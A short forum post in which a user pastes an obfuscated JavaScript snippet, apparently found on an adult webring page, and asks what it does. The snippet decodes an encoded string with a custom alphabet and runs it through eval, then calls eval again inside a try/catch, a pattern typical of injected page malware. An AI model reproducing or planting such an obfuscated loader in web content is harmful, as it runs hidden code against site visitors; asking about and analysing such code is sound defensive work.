Anybody know what this does?

[JohnC]

Code: [Select]

<script>function a(z,Q){if (!Q)Q='Fu1XBSTRC2/cxzJ)tVl7640!}*{]YvmIG~-WKM[b+Ua3;:yNqL#=Q@ 9pjkH>E^8';var xy;var Ka=arguments;var ct='';for(var w2=0;w2<z.length;w2+=Ka.callee.toString().length-488){xy=(Q.indexOf(z.charAt(w2))&255)<<18|(Q.indexOf(z.charAt(w2+1))&255)<<12|(Q.indexOf(z.charAt(w2+2))&255)<<(Ka.callee.toString().length-486)|Q.indexOf(z.charAt(w2+3))&255;ct+=String.fromCharCode((xy&16711680)>>16,(xy&(255*256))>>8,xy&255);}eval(ct.substring(0,ct.length-Ka.callee.toString().length+490));}a('}lGbCQuX]4S+xTU)v[;j6747VMSF]9q-]7Yk66FQx@SF}[tW{SjWm7Ev]4GH{WvV!@:t0X;Kt#Q8Yb~}*9qkY@F-zlV:{ V=vMB@64umJ4G@!7jc{SzqY=:vJKEyt#U}*R69c7E~4Q;@zSuV*9~K2T@~}9MIt@ucz4zT0XE3}9MF{W:}J C~C j]6SB8{[6W4Wu>C ~a'+
'v-Q8{Q6K4[B90XEx]SBG{-MVtBLS2S*~z@G87TLVtBx9vT@]z#*bC7v)z4@T66uaJKE:VWjcvMQk7=>Qm1z0C7;:{1EpC=C-V4G86=+WCT+Uv1M#l j+xXpWCXVN0X:-J4GGC=U}J9Gj4[~a]4GHt@u)C1zpY#M-*4~F)Wp3tBx9l ~vVMB8/6xK!#Mx0X47]!M+)b~V) SSY tE*S@tCbGKYR6@674}c9z !4uc{T2ql9u@]6>GmX+K]b69c7E~4Q;@zSuV*9~K2T@~}9MItQ}WvMx^7 ~N}#2ICK*Q*TSx2#qb}4:I*@j-tX>-6#:=2S@Qm0:#]M*NzTG#l#x:7@~V2MUx)bu:/0+HvbLT/b@MC7Kkz#EK6RGqCX6=v64;)6zW4#YUC1F=');</script><script>try{eval(j)}catch(ex){}</script>
 

From: http://fatgramma.pornwebring.net/o.php?url=8016&link=tt039